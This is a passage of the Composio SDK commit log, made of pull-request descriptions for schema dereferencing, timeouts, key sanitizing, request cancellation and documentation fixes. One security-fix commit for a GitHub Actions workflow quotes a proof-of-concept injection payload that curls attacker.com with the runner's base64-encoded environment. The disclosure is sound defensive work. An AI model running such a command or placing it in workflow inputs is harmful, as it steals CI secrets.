dereference `$ref`**, so a flagged node reachable only through a
reference is invisible to them.
Fixes https://github.com/ComposioHQ/composio/issues/3506
## Approach
Rather than teach each walker to dereference — which means threading a
root schema through ~10 methods, re-deriving `$ref` handling in each,
and risking unbounded recursion on cyclic schemas — this introduces a
single **`dereference_json_schema`** utility and inlines references
**once at the `FileHelper` boundary** (`process_file_uploadable_schema`,
`substitute_file_uploads`, `substitute_file_downloads`). The walkers
stay reference-agnostic.
This mirrors the TypeScript SDK's `dereferenceJsonSchema` (the
counterpart fix in #3566 for the TS twin of this bug, #3307) so both
SDKs share one behavioral contract. Resolving once at the boundary also
gives every walker `$ref` support for free — including keywords they
never special-cased (`additionalProperties`, `patternProperties`,
`prefixItems`, `not`), because the resolver walks containers
reflectively.
## What's in the utility (`composio/utils/json_schema.py`)
Faithful port of the TS guards:
- **Cycle safety** — breaks both `$ref` cycles and live-object identity
cycles with a permissive `{type: object, additionalProperties: true}`
sentinel. (A per-node lazy resolver without threaded cycle tracking
infinite-loops on a self-referential schema; there's a regression test
for exactly this.)
- **Depth caps** — `MAX_REF_CHAIN_DEPTH=100` / `MAX_NODE_DEPTH=512`
raise a typed `JSONSchemaRefResolutionError` instead of exhausting the
interpreter (with a `RecursionError` backstop converted to the same
typed error).
- **Sibling-keyword merge** — Draft 2020-12 semantics (siblings win on
collision), so a `description`/`default` next to a `$ref` survives.
- **External-ref passthrough** — `http(s)://` refs are left untouched
and logged once for audit.
- **`sentinel` mode** — a dangling `$ref` (an API schema that emits
`$ref` with no `$defs` block,
https://github.com/ComposioHQ/composio/issues/3307) degrades to the
permissive sentinel + an LLM-visible hint, instead of aborting the tool
call. The `FileHelper` uses this mode for API-sourced schemas.
- **Non-mutating** — returns a new schema; `$defs`/`definitions` are
stripped from the inlined root.
## Tests
- `python/tests/test_json_schema.py` — 30 cases mirroring the TS
`jsonSchema.test.ts` contract (chains, reflective container walk, legacy
`definitions`, sibling merge, cycles, depth caps, pointer-escape
decoding, array-index pointers, full `sentinel`-mode suite).
- `python/tests/test_files.py` — end-to-end regressions through the
public methods: download/upload behind `$ref`/`$defs` (the #3506 repro),
the LLM-facing input transform, graceful degradation of a dangling
`$ref`, and a **self-referential schema that must not recurse
infinitely**.
- `nox -s chk` (ruff + mypy) green; `nox -s tst` for the file/execution
suites green.
## Notes
Supersedes #3545 (third-party PR that fixed the same bug by threading
`root_schema` through each walker). That diagnosis was correct; this
takes the centralized route consistent with the TS SDK and adds the
cycle/depth guards. No changeset — Python-package change.
|
||
|
|
dd40a9bb6f |
fix(py): bound file transfer requests with timeouts (#3563)
## Summary - add bounded `(connect, read)` timeouts to Python SDK session file downloads and uploads - add the same timeout coverage to presigned S3 upload/download paths used by file helpers - convert timeout/request failures into the SDK's existing file errors and cover them with tests Fixes #3560 Fixes #3561 Fixes #3562 ## Changes - `RemoteFile.buffer()` now uses the existing file transfer timeout constants and preserves file context on request failures - `ToolRouterSessionFilesMount.upload()` and S3 upload helpers now bound presigned `PUT` requests - `FileDownloadable.download()` now bounds streaming `GET` requests, wraps streaming read failures, and closes the response - added regression tests for request timeouts and timeout arguments - added a changeset for the published SDK change ## Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor/Chore - [ ] Documentation - [ ] Breaking change ## How Has This Been Tested? - [x] `D:\anaconda3\envs\yolov12\python.exe -m ruff check python\composio\core\models\tool_router_session_files.py python\composio\core\models\_files.py python\tests\test_tool_router_session_files.py python\tests\test_files.py` - [x] `D:\anaconda3\envs\yolov12\python.exe -m ruff format --check python\composio\core\models\tool_router_session_files.py python\composio\core\models\_files.py python\tests\test_tool_router_session_files.py python\tests\test_files.py` - [x] `COMPOSIO_CACHE_DIR=<repo>\.tmp-composio-cache D:\anaconda3\envs\yolov12\python.exe -m pytest python\tests\test_tool_router_session_files.py python\tests\test_files.py::TestUploadBytesToS3 python\tests\test_files.py::TestFileDownloadablePathTraversal::test_safe_filename_passes_through python\tests\test_files.py::TestFileDownloadablePathTraversal::test_download_uses_timeout python\tests\test_files.py::TestFileDownloadablePathTraversal::test_download_timeout_raises_error python\tests\test_files.py::TestFileDownloadablePathTraversal::test_download_stream_timeout_raises_error` Note: I also ran the full `python\tests\test_tool_router_session_files.py python\tests\test_files.py` pair locally. The new and related tests passed, but the full run has one pre-existing Windows-specific failure in `TestFileDownloadablePathTraversal::test_empty_name_safe_fails_at_write_time`: opening a directory for writing raises `PermissionError` on Windows instead of the test's expected `IsADirectoryError`. ## Screenshots (if applicable) N/A ## Checklist - [x] I have read the Code of Conduct and this PR adheres to it - [x] I ran linters/tests locally and they passed - [ ] I updated documentation as needed - [x] I added tests or explain why not applicable - [x] I added a changeset if this change affects published packages ## Additional context This keeps the existing `(5s connect, 60s read)` timeout convention already used by the Python SDK's URL fetch helpers. --------- Co-authored-by: jkomyno <alberto@composio.dev> |
||
|
|
507318d56a |
fix(anthropic): harden tool property-key sanitizer (#3650)
This PR (builds on https://github.com/ComposioHQ/composio/pull/3649, already merged) hardens the Anthropic tool property-key sanitizer from a multi-agent review, then extracts the mechanism into a reusable core util. **Touches two packages:** `@composio/core` (new util) and `@composio/anthropic` (consumes it). ### Correctness / robustness - **Prototype-safe restoration** — reverse maps and the rebuilt argument object are `Object.create(null)`, so a tool call using a key matching an `Object.prototype` member (`__proto__`, `constructor`, `toString`, `hasOwnProperty`, …) no longer throws a `TypeError` or silently corrupts the backend payload, and `Object.prototype` is never mutated. - **Full schema coverage** — illegal keys are sanitized wherever they appear: `allOf`/`anyOf`/`oneOf`, `not`/`if`/`then`/`else`, `prefixItems`, `additionalProperties`/`patternProperties`, `$defs`/`definitions`. Renames inside composition keywords fold into the value level they share and restore correctly (a mixed array/object `anyOf` resolves by value type at restore time). - **`$ref` keys restored** — `wrapTool` now dereferences internal `$ref`/`$defs` (lenient `sentinel` mode) before sanitizing, so keys reachable only through a reference are both made compliant and restored. - **Depth cap (512)** on sanitization and restoration — a pathologically deep schema/argument fails with a clear error instead of overflowing the stack. - **Empty / all-illegal keys** become a deterministic non-empty alias instead of `''` (which would itself violate `{1,64}`). - **Collision loop** — replaced a latent non-terminating fixed point with a counter that always makes progress. ### Architecture - **Extracted to core** — `sanitizeSchemaPropertyKeys(schema, policy)` / `restoreOriginalKeys` / `mappingHasRenames` (+ `KeyMapping` / `KeySanitizationPolicy`) now live in `@composio/core`, alongside `normalizeToolArguments`. The traversal, collision handling, prototype guard and depth cap are provider-agnostic; the Anthropic constraint is injected as a `KeySanitizationPolicy` defined in the provider's `sanitize-keys.ts`, which also re-exports a policy-bound `sanitizeSchemaPropertyKeys` plus core's restore side so call sites import from one place. - **`wrapTool` → `executeToolCall` contract** documented (same provider instance) and instrumented with `debug` logs on the rewrite/restore paths; re-wrapping a slug refreshes or clears its mapping. - Dropped the inaccurate "mirrors the Python SDK" comment and two `as unknown as` casts. ### Known limitations Both cases below leave a value reaching the backend un-restored — still strictly better than the whole `tools` array 400-ing. - **Dynamic-key positions.** After dereferencing, only genuinely dynamic-key positions remain rewrite-only (not restored): `additionalProperties`, `patternProperties`, and `contains`. These can't be tied to a concrete value location without per-key schema association. - **Composition-branch key collisions.** When sibling `allOf`/`anyOf`/`oneOf` branches fold into their shared value level, two branches that sanitize different illegal keys to the *same* alias — or one branch whose alias equals a legitimately-named property in another branch — keep only the first-seen reverse mapping, so an argument satisfying the other branch restores to the wrong original name. Recovering which branch a runtime value matched needs full schema evaluation against the value; these collisions are rare in OpenAPI-derived schemas. (Documented on `mergeMappingInto`.) ### Testing Locally verified: `tsc --noEmit` clean on the core util and provider sources (0 own-file diagnostics); ESLint clean; Prettier-formatted; the full `@composio/core` (951) and `@composio/anthropic` (51) vitest suites pass after a fresh `pnpm --filter @composio/core build` (the earlier `picocolors` caveat from #3649 was a stale `@composio/core/dist`; rebuilding core clears it). **Please confirm CI is green before merging.** |
||
|
|
f254d1333a |
docs: update contributing guide for current repo (#3651)
This PR: - supersedes https://github.com/ComposioHQ/composio/pull/3535 and credits @eldar702 for the original `CONTRIBUTING.md` refresh - closes https://github.com/ComposioHQ/composio/issues/3487 - refreshes the repo layout around `ts/`, `python/`, `docs/`, and root release/install tests - documents the current `mise.toml` toolchain and removes stale Corepack, `.nvmrc`, `.bun-version`, and top-level `packages/` guidance - replaces the strict file-header requirement with current TypeScript/Python coding standards - adds current TypeScript e2e, Python, docs-site, changeset, and release-doc pointers - verifies documented paths, package scripts, Python make targets, Prettier, and whitespace checks locally Co-authored-by: Eldar Shlomi <eldarshlomi7@gmail.com> |
||
|
|
dfd7a0846d |
feat(core): add AbortSignal cancellation to public SDK methods + ComposioRequestCancelledError (#3463)
# Description
Add per-request cancellation to every public SDK method via
`AbortSignal`, and surface caller-initiated aborts as a typed
`ComposioRequestCancelledError`.
## API
For `tools.get` and `tools.execute`, pass `signal` directly in the
options bag (3rd arg) alongside modifiers — no placeholder needed:
```typescript
// Timeout a slow search
const tools = await composio.tools.get('user_1', {
search: 'send email',
}, { signal: AbortSignal.timeout(5_000) });
// Cancel an execution, with modifiers
const result = await composio.tools.execute('TOOL', body, {
signal: AbortSignal.timeout(10_000),
beforeExecute: ({ params }) => params,
});
// Detect cancellation
try {
await composio.tools.execute(slug, body, { signal: AbortSignal.timeout(5_000) });
} catch (err) {
if (err instanceof ComposioRequestCancelledError) return;
throw err;
}
```
For other methods, pass as a trailing argument:
```typescript
await composio.authConfigs.list(query, { signal: AbortSignal.timeout(5_000) });
await composio.connectedAccounts.get(id, { signal: AbortSignal.timeout(5_000) });
```
## Cancellation contract
- `withCancellation()` normalizes any abort error into
`ComposioRequestCancelledError` (code `TS-SDK::REQUEST_CANCELLED`)
- `isRequestAbortError()` detects `APIUserAbortError` via `instanceof`
(required because `.name === "Error"` at runtime), with fallbacks for
dual-package hazard and generic `AbortError`
- Catch-and-wrap paths in `execute` / `getRawComposioToolBySlug` /
`toolkits.get` re-throw cancellation before domain error wrapping
- **Post-execute safety**: if the signal fires after the remote tool
already executed, the result is returned (not thrown) — prevents callers
from retrying non-idempotent operations
- Custom-tool cancellation is cooperative: signal is exposed via the
`ctx` arg so user code can wire it into `fetch`
## Coverage
Tools, Toolkits, AuthConfigs, ConnectedAccounts, Triggers, MCP,
ToolRouter, ToolRouterSession — every public method that does HTTP I/O.
# How did I test this PR
- `pnpm exec vitest run` — 666 tests pass (25 pre-existing fileModifiers
failures unchanged)
- `pnpm typecheck` — 11/11 clean
- CI: Typecheck, Build, Audit, Test, all 5 E2E runtimes (Node
20.18/20.19/22.12, Deno, Cloudflare), secrets scan — all green
🤖 Generated with [Claude Code](https://claude.com/claude-code)
---------
Co-authored-by: Claude Opus 4.7 <noreply@anthropic.com>
Co-authored-by: jkomyno <alberto@composio.dev>
|
||
|
|
c90ae95f43 |
fix(anthropic): sanitize illegal/over-long tool property keys for Messages API (#3649)
## Problem
Anthropic's Messages API validates every tool `input_schema` property
key against `^[a-zA-Z0-9_.-]{1,64}$`. A single non-conforming key makes
the API reject the **entire** `tools` array with HTTP 400, so one bad
tool takes down every other tool in the same request (e.g. a subagent
that loads all MCP schemas up front dies before running anything).
The `@composio/anthropic` provider passed `tool.inputParameters`
straight through as `input_schema` with no key sanitization, so two real
cases break:
- **Illegal characters** — OneDrive exposes Microsoft Graph OData
parameters as schema keys: `$top` / `$filter` / `$skip` / `$orderby` and
`@microsoft.graph.conflictBehavior`. `$` and `@` are outside the allowed
set.
- **Length** — `__`-flattened nested keys can exceed 64 characters
(several Zoom tools).
Fixes #3500. TypeScript-side counterpart to the Python fix in #3504;
supersedes the earlier #3067 / #2330 attempts.
## What this changes
- New `sanitize-keys.ts`: `sanitizeSchemaPropertyKeys()` rewrites
offending keys to conforming aliases (`$` → `dollar_`, `@` → `at_`, any
other illegal char → `_`, keys > 64 chars truncated with a deterministic
hash suffix), recursing through nested object `properties` **and array
`items`** schemas, keeps `required` in sync, and never mutates the
input. `restoreOriginalKeys()` reverses the rename on tool-call
arguments.
- `AnthropicProvider.wrapTool()` sanitizes the schema and stores a
per-tool reverse mapping; `executeToolCall()` restores the original
parameter names before the call reaches the Composio backend, so the
model sees `dollar_top` while the backend still receives `$top`.
## Supersedes #3574
This rebuilds @serhiizghama's #3574 — his three commits are
cherry-picked here with authorship preserved — rebased onto current
`next` and hardened after review. Changes on top of #3574:
1. **Resolved the merge conflict with `next` (it was semantic, not just
textual).** `next` now routes tool arguments through
`normalizeToolArguments()` (issue #2406 — models sometimes emit input as
a JSON *string*). `executeToolCall()` now **normalizes first, then
restores keys**; restoring a raw string would be a no-op, so the order
matters.
2. **Fixed the cross-level key-collision bug** flagged by Cursor Bugbot
on #3574. The reverse mapping was a single flat `sanitized → original`
lookup applied at every nesting depth, so an alias generated at one
level (`$top` → `dollar_top`) could rewrite a legitimately-named
`dollar_top` key at a *different* level and corrupt the backend payload.
The mapping is now shaped like the schema and walked in lockstep with
the value, so a rename only applies where its alias was generated.
3. **Sanitize keys nested in array `items`** (single schema and
positional tuples), which the original `properties`-only walk missed.
4. **Added a changeset** (`@composio/anthropic` patch) so the fix
actually ships.
## Testing
Unit tests in `sanitize-keys.test.ts` cover: illegal-character
rewriting, `.`/`-` preservation, deterministic length truncation,
same-level collision, nested recursion, array `items` (single + tuple),
no-mutation, the cross-level collision regression (#2 above), the
`wrapTool` → `executeToolCall` round-trip, and the JSON-string-input →
normalize → restore composition (#1 above / issue #2406).
> ⚠️ The full vitest suite could not run in my local environment due to
a workspace toolchain drift (a stale `node_modules` link made
`@composio/core` fail to resolve `picocolors`). The dependency-free
sanitizer logic was verified in isolation (including a counter-check
proving the old flat mapping corrupted the nested key), and `tsc
--noEmit` on the provider sources is clean. Please confirm CI is green
before merging.
---------
Co-authored-by: serhiizghama <zmrser@gmail.com>
|
||
|
|
aaabf5e2a6 |
fix(mastra): relax output schema so API nulls and extra keys pass validation (#3585)
## Problem Closes #3047. `MastraProvider.wrapTool` passes each tool's `outputParameters` to Mastra's `createTool` as `outputSchema`, and Mastra validates every tool result against it via `validateToolOutput` — on a mismatch it **drops the data and substitutes an error**. Composio's API-supplied output schemas are strict: optional fields are typed as non-nullable primitives (`{ type: "string" }`) and objects carry `additionalProperties: false`. Real third-party APIs (Linear, Notion, Jira, Slack, …) routinely return `null` for unset optional fields (`avatarUrl`, `assignee`, `description`, …) and occasionally extra keys. So strict validation rejects perfectly good responses and **truncates the tool output the model sees** — affecting a wide range of connector tools. This is the recommended fix (#2) from the issue: output validation of opaque third-party pass-through payloads provides little value and causes real breakage. ## What this changes A new `relaxOutputSchema` helper walks the (already dereferenced) output JSON schema and, non-mutating: - makes every typed node nullable — `type: "string"` → `["string", "null"]` (handles string and array forms, idempotent) - sets `additionalProperties: true` on object nodes that forbid (or omit) extra keys; a schema-valued `additionalProperties` is preserved and recursed into - recurses through `properties`, `patternProperties`, `items`, `anyOf`/`oneOf`/`allOf`, `$defs`/`definitions`, etc. `wrapTool` applies it to the output schema only (input schemas are untouched) before handing it to `@mastra/schema-compat`. ## Why this approach Both transforms only **widen** what validates, so any payload that passed before still passes — there is no behavioural change for already-valid output, and no breaking change. It keeps the existing `dereferenceJsonSchema` → `applyCompatLayer` pipeline intact and adds one focused, unit-tested step. The `$ref`/`$defs` type-preservation behaviour from the existing regression suite is retained (the dereferenced inner type is kept, just made nullable). ## Testing - New `test/relax-output-schema.test.ts` — 11 unit cases (nullable primitives, idempotency, nested objects, `additionalProperties` flip/preserve, array items, `anyOf` branches, empty schema, non-mutation, pass-through of non-objects). - Updated existing `mastra.test.ts` / `mastra-ref.test.ts` assertions to reflect the relaxed output shape. - `pnpm test` → 64/64 passing. `pnpm typecheck` and `pnpm build` clean; eslint/prettier clean on changed files. --------- Co-authored-by: Alberto Schiabel <jkomyno@users.noreply.github.com> Co-authored-by: jkomyno <alberto@composio.dev> |
||
|
|
15ccdeac76 |
docs: clarify Notion reconnect expiry (#3606)
## Summary - Add a concise Notion FAQ entry for the multi-agent reconnect workflow - Explain that reconnecting the same Notion user through the same Notion OAuth app can invalidate the older refresh token - Recommend reusing one active Notion connection per user/workspace/OAuth app across agents or projects ## Verification - `git diff --check` Co-authored-by: sjd9021 <samvit@hotmail.com> Co-authored-by: jkomyno <alberto@composio.dev> |
||
|
|
552859adc2 |
fix(core): expose auth config list search filters (#3647)
This PR: - exposes `search` and `showDisabled` on `authConfigs.list()` - forwards those filters to the generated `@composio/client` as `search` and `show_disabled` - documents the filters and adds a core changeset - covers forwarding in `AuthConfigs` tests |
||
|
|
b2efc824f6 |
fix(ci): prevent shell injection via version input in cli.test-installation.yml (#3594)
## Summary
Fixes a **GitHub Actions script (shell) injection** in
`.github/workflows/cli.test-installation.yml`. The `version` input — and
the `release_tag` output derived from it — were interpolated with `${{
}}` **directly into `run:` shell bodies**, so GitHub Actions substituted
the value into the script *source* before bash parsed it. Shell
metacharacters in the input therefore became executable code on the
runner.
PoC (`version` input): `"; curl http://attacker.com/$(env | base64) #`
rendered as:
```bash
raw_input=""; curl http://attacker.com/$(env | base64) #"
```
→ arbitrary command execution on the runner.
Reported via our bug-bounty inbox (credit: **@arrancarcero**). Internal
tracking: **SEC-585**.
## Fix
Pass each value through `env:` so the shell receives it as an inert
environment variable, never re-parsed as source — the same pattern
already used in `build-cli-binaries.yml`. Three sites:
| Step | Was inline | Now via `env:` |
|------|-----------|----------------|
| Resolve and validate target release | `inputs.version` |
`VERSION_INPUT` |
| Test install script (specific version) | `release_tag` | `RELEASE_TAG`
|
| Test custom install directory | `use_latest`, `release_tag` |
`USE_LATEST`, `RELEASE_TAG` |
Net change: **+9 / −4 lines**, single file.
## Behaviour & safety verification
- **`actionlint`** (1.7.12): no new real findings vs. the pre-change
baseline (the only count deltas are info/style shellcheck artifacts on
byte-identical, untouched blocks whose line numbers shifted).
- **YAML** parses cleanly.
- **Functional (bash)** — all legitimate inputs resolve identically:
- empty (push event) → `use_latest=true`
- `latest` → `use_latest=true`
- `1.2.3`, `1.2.3-beta.1` → `@composio/cli@<ver>`
- `@composio/cli@1.2.3` → passthrough
- malicious payload → treated as an **invalid version string** (no
command executed)
- No behaviour change for any valid trigger (`workflow_dispatch`,
`workflow_call`, tag `push`).
## Notes / optional follow-ups (not in this PR)
- Consider adding a least-privilege `permissions: { contents: read }`
block (mirrors `build-cli-binaries.yml`).
- The `workflow_call`/`push` `else` fallthrough still passes
unrecognized inputs through to `release_tag`; tightening it would reject
bad input at the source as well. Left out here to keep the fix minimal
and behaviour-preserving.
Co-authored-by: Saransh Rana <security@composio.dev>
Co-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Co-authored-by: Alberto Schiabel <jkomyno@users.noreply.github.com>
|
||
|
|
f8cd90ce5a |
chore(ts): adopt Node 24 and pnpm 11 toolchain (#3646)
This PR: - uses plain `tsdown` package scripts and a shared typed `tsdown.config.base.ts` so Node 24 builds work without loader flags - switches the repo dev/build toolchain to Node `24.17.0` and pnpm `11.8.0` through `mise.toml`, `mise.lock`, and `pnpm-lock.yaml` - marks the root package as ESM with `type: module`, matching the TypeScript packages - keeps Node `22.22.3` in the runtime/E2E matrices as the minimum supported user runtime - changes the TypeScript build workflow back to a single build on the mise-managed toolchain and broadens path filters for package-manager/build config files - adds pnpm 11 build-script policy with `allowBuilds` and intentionally ignored `sharp` builds - enables tsdown ESM shims for the packaged CLI wrapper so `composio --help` runs under Node 22 and Node 24 Verified locally: - `CI=true pnpm install --frozen-lockfile` - `pnpm lint` - `pnpm run build:packages` - `COMPOSIO_E2E_NODE_VERSION=22.22.3 pnpm --filter @e2e-tests/node-esm-basic --filter @e2e-tests/node-cjs-basic run test:e2e:node` - `node ts/packages/cli/bin/composio.mjs --help` under Node `22.22.3` and `24.17.0`@composio/cli@0.2.32-beta.273 |
||
|
|
17fe881059 |
fix: apply automated code update (#3600)
This pull request contains an automated code update generated by Hex. Please review the diff carefully before merging. --- _Generated by Hex Security. Please review carefully before merging._ --------- Co-authored-by: Hex Security <255204168+hex-security-app[bot]@users.noreply.github.com> Co-authored-by: jkomyno <alberto@composio.dev>@composio/cli@0.2.32-beta.272 |
||
|
|
446c6f65bf |
fix(cli): unify virtual TypeScript compiler host resolution (#3182)
## Summary This PR resolves the TODO in `ts/packages/cli/src/generation/typescript/transpile.ts` by extracting the shared virtual TypeScript compiler-host logic used by both production transpilation and test validation. While doing that refactor, it also fixes a real virtual module-resolution issue: TypeScript may resolve in-memory files using `./file.ts`, `file.ts`, or absolute paths, and the previous setup did not handle those lookups consistently. ## Changes - added `ts/packages/cli/src/generation/typescript/virtual-compiler-host.ts` - extracted shared helpers for virtual file-map creation, compiler-host patching, and diagnostic formatting - updated `ts/packages/cli/src/generation/typescript/transpile.ts` to use the shared helper - updated `ts/packages/cli/test/__utils__/typescript-compiler.ts` to use the same shared helper - updated affected tests to validate complete generated module sets instead of incomplete single-file inputs - added a patch changeset for `@composio/cli` ## Type of change - [x] Bug fix - [x] Refactor/Chore ## How Has This Been Tested? Ran focused checks on the touched CLI TypeScript generation/compiler-host paths: ```bash pnpm --dir ts/packages/cli exec prettier --check src/generation/typescript/transpile.ts src/generation/typescript/virtual-compiler-host.ts test/__utils__/typescript-compiler.ts test/src/generation/typescript/generate.test.ts test/src/commands/ts/ts.generate.cmd.test.ts pnpm --dir ts/packages/cli exec vitest run test/__utils__/typescript-compiler.ts pnpm --dir ts/packages/cli exec vitest run test/src/generation/typescript/generate.test.ts --------- Co-authored-by: Alberto Schiabel <jkomyno@users.noreply.github.com> Co-authored-by: jkomyno <alberto@composio.dev>@composio/cli@0.2.32-beta.271 |
||
|
|
568f32637e |
docs(rate-limits): correct stale values in reference pages
Fixed 1-min window (was rolling 10-min), 2k/10k limits (was 20k/100k), Enterprise = Custom (was Unlimited), 60s window-size + 'per 1 minutes' 429. Reference pages kept in original terse form; v3 copies synced; index summaries updated. Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com> |
||
|
|
6a3b760390 |
docs(rate-limits): consolidate into the reference page, drop the duplicate /docs guide
Fold the guide content (platform vs upstream-provider 429s, backoff recipe, no-automated-suspension note, multi-tenant guidance) into the existing reference/rate-limits.mdx + its v3 copy. Remove the new docs/rate-limits.mdx and its nav entry. Single source of truth, no cross-page drift. Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com> |
||
|
|
bd803c715e |
docs(rate-limits): fix frontmatter keyword (429 as string), reconcile reference pages to verified 1-min window, Enterprise = Custom
- frontmatter keywords '429' quoted (was parsed as number -> Vercel build fail) - reference/rate-limits.mdx + reference/v3/rate-limits.mdx: rolling-10min/20k/100k/600s -> fixed 1-min/2k/10k/60s, '429 per 1 minutes' - Enterprise stated as Custom everywhere (not 'unlimited'/number) - reference + v3 index summary lines updated Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com> |
||
|
|
0864f9821b |
docs: add Rate limits & usage page
Per-org platform limits (window + headers + 429 backoff), the no-automated-suspension guarantee, upstream provider 429s + BYO-OAuth guidance, multi-tenant pattern, and the increase/SLA paths. Verified against apps/apollo/src/lib/ratelimit. Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com> |
||
|
|
a987990c44 |
Document version-placeholder project API key permission endpoints (#3631)
## Summary\n- show project API key permission endpoints with
/api/{version}/... placeholders instead of duplicating versioned rows\n-
keep proxy execute documented for direct and session proxy paths\n\n##
Verification\n- bun run lint:links from docs/\n- git diff --check
|
||
|
|
e408af962a |
fix(py): align Python release metadata (#3634)
This PR: - fixes https://github.com/ComposioHQ/composio/actions/runs/27964338497/job/82754032484 - aligns `python/composio/__version__.py` with the current Python package version `0.16.0` - adds the missing `0.16.0` Python changelog entry for the dependency refresh - restores `pnpm run test:release-workflow` on `next` |
||
|
|
6a4cb542ae |
fix(core): resolve $ref/$defs so file flags behind a reference aren't dropped (#3566)
## Problem Tools whose parameter schemas express their file fields through a `$ref`/`$defs` indirection lose auto file handling: with `dangerouslyAllowAutoUploadDownloadFiles` enabled, a `file_uploadable` input behind a `$ref` is never staged (the local path is forwarded as-is and the backend rejects it), and the `format: "path"` hint never reaches the model. `GMAIL_GET_ATTACHMENT` is the canonical shape — its parameters nest the file flag two `$ref` hops deep: ``` data → $ref → #/$defs/GetAttachmentResponse → file → $ref → #/$defs/FileDownloadable (file_downloadable: true) ``` This is the TypeScript-SDK counterpart of #3506 (the Python side is handled separately in #3545). Two coupled causes defeat reference resolution: 1. **`$defs` is dropped on parse.** `ParametersSchema` (`src/types/tool.types.ts`) is a strict `z.object` that never declared `$defs`/`definitions`, so `ToolSchema.parse` stripped the root definition block off every tool. Each nested `$ref` was then dangling and unresolvable for *all* downstream consumers — providers that pass `inputParameters` straight to the model (e.g. `OpenAIProvider`) and the file modifier alike. (`JSONSchemaPropertySchema` already accepts both keywords; the root did not.) 2. **The file modifier never dereferences.** `transformProperties`, `schemaHasFileProperty`, and the upload/download hydration recurse `properties`/`anyOf`/`oneOf`/`allOf`/`items` but skip `$ref`, so a flag reachable only through a reference is invisible to the walk. ## Solution - Add `$defs`/`definitions` to `ParametersSchema` so the root definition block survives parsing and `$ref` pointers stay resolvable. - Dereference `inputParameters`/`outputParameters` in `FileToolModifier` (node runtime) before walking, via the existing `dereferenceJsonSchema` helper in `'sentinel'` mode — the same mode `MastraProvider` already uses. Tools that ship a `$ref` without a matching `$defs` target (#3307) degrade to a permissive object instead of throwing, exactly as today. No new dependencies; `dereferenceJsonSchema` already exists and is exercised by the Mastra provider. The edge (`workerd`) modifier is unchanged — its upload/download paths already throw as unsupported. ## Testing - `pnpm typecheck` — clean. - `pnpm test` (core) — 926 passing, including new cases: - `$ref`-indirected `file_uploadable` is marked `format: "path"` by `modifyToolSchema`. - `fileUploadModifier` stages a file whose flag is reachable only via `$ref`/`$defs`. - a `$ref` with no matching `$defs` target degrades gracefully (no throw). - root `$defs` survives `ToolSchema.parse` and nested `$ref` pointers remain intact. - Provider suites unaffected: `mastra` (51), `openai` (29), `vercel` (10), `anthropic` (19) all green. --------- Co-authored-by: jkomyno <alberto@composio.dev> |
||
|
|
fd88b2e5b7 |
fix(core): drop manual Content-Length in S3 upload PUT for compat with strict undici dispatcher (refs #3548) (#3549)
## Summary Remove the manual `Content-Length` header from the presigned-URL PUT in `uploadFileToS3`. Node.js's built-in fetch (undici) computes `Content-Length` from the request body itself and rejects any user-supplied value with `InvalidArgumentError: invalid content-length header` (`UND_ERR_INVALID_ARG`), which surfaces as `TypeError: fetch failed`. The result is that **`composio.files.upload()` has been broken on Node 22+ since the feature was introduced** (commit |
||
|
|
a423a799c4 |
chore(py): refresh Python dependencies (#3627)
Refreshes the Python SDK's core + provider dependency ranges and uv locks to the **newest cutoff-compatible** versions, and makes the locks self-consistent. ## What changed - Bumps core + provider dependency ranges (`pyproject.toml` / `setup.py`) and regenerates all three uv locks (root, `openai`, `claude_agent_sdk`) to the newest available versions. - Keeps `composio-client==1.41.0` (the current newest, released 2026-06-19). - Caps `crewai>=0.134.0,<0.135.0`: crewai 1.x requires `pydantic>=2.11.9,<2.13`, which conflicts with composio core's `pydantic>=2.13.4`. Staying on crewai 0.x keeps the newest pydantic for everything else; the provider only uses `crewai.tools.BaseTool`, which is unaffected. - Drops the one-shot `--exclude-newer` cutoff that had been recorded in the lock `[options]` but was not backed by any `[tool.uv]` config — it broke `uv lock --check` and held packages a few releases behind newest. - Pins nox-installed tools/stubs in `noxfile.py` to the matching newest versions. ## Resolution result - Root lock: **161 upgrades, 0 downgrades** vs `next`. - Provider locks: **0 downgrades** vs `next` (openai +14, claude_agent_sdk +29). ## Verification - `uv lock --check` — clean on all three locks. - `uv run --frozen --all-packages pytest python/tests/test_imports.py` — 8/8 passing. - `uv run --frozen nox -s chk` — ruff clean + mypy 0 issues across 80 source files. Supersedes https://github.com/ComposioHQ/composio/pull/3622 (which was opened from a fork). |
||
|
|
9f09b13f71 | Document version-placeholder permission endpoints | ||
|
|
4b76dbf70d |
fix(core): remove deprecated auth-config uuid field from V3 responses (#3633)
Replacement for #3528, preserving @lingala-composio's original commit, so CI can run from a same-repository branch. The original PR is from a fork. The TypeScript E2E workflow reads `COMPOSIO_API_KEY`, `COMPOSIO_BASE_URL_STAGING`, `COMPOSIO_USER_API_KEY`, `OPENAI_API_KEY`, and `ANTHROPIC_API_KEY` from repository secrets, and GitHub does not expose those secrets to fork PR workflow runs. That is why #3528's E2E checks failed with empty env values before exercising this SDK change. ## What & Why The Composio platform is removing the deprecated V1/V2 UUID-mirror fields from V3 API responses. The TypeScript SDK read and re-exposed the auth-config `uuid`, which was a deprecated mirror of the canonical nanoid `id`. This stops the SDK from depending on the removed field. ## Changes - Drop `uuid: authConfig.uuid` from `transformAuthConfigRetrieveResponse`. - Remove `uuid` from `AuthConfigRetrieveResponseSchema`. - Update AuthConfigs tests and fixtures to match the new contract. - Keep top-level `expectedInputFields` unchanged; only the deprecated nested bag was removed. ## Verification - `git diff --check origin/next...HEAD` - `pnpm --filter @composio/core test AuthConfigs` --------- Co-authored-by: lingala-composio <rahul.lingala@composio.dev> Co-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com> |
||
|
|
9914c90412 |
docs: remove non-existent alias parameter from initiate-to-link migration guide (#3540)
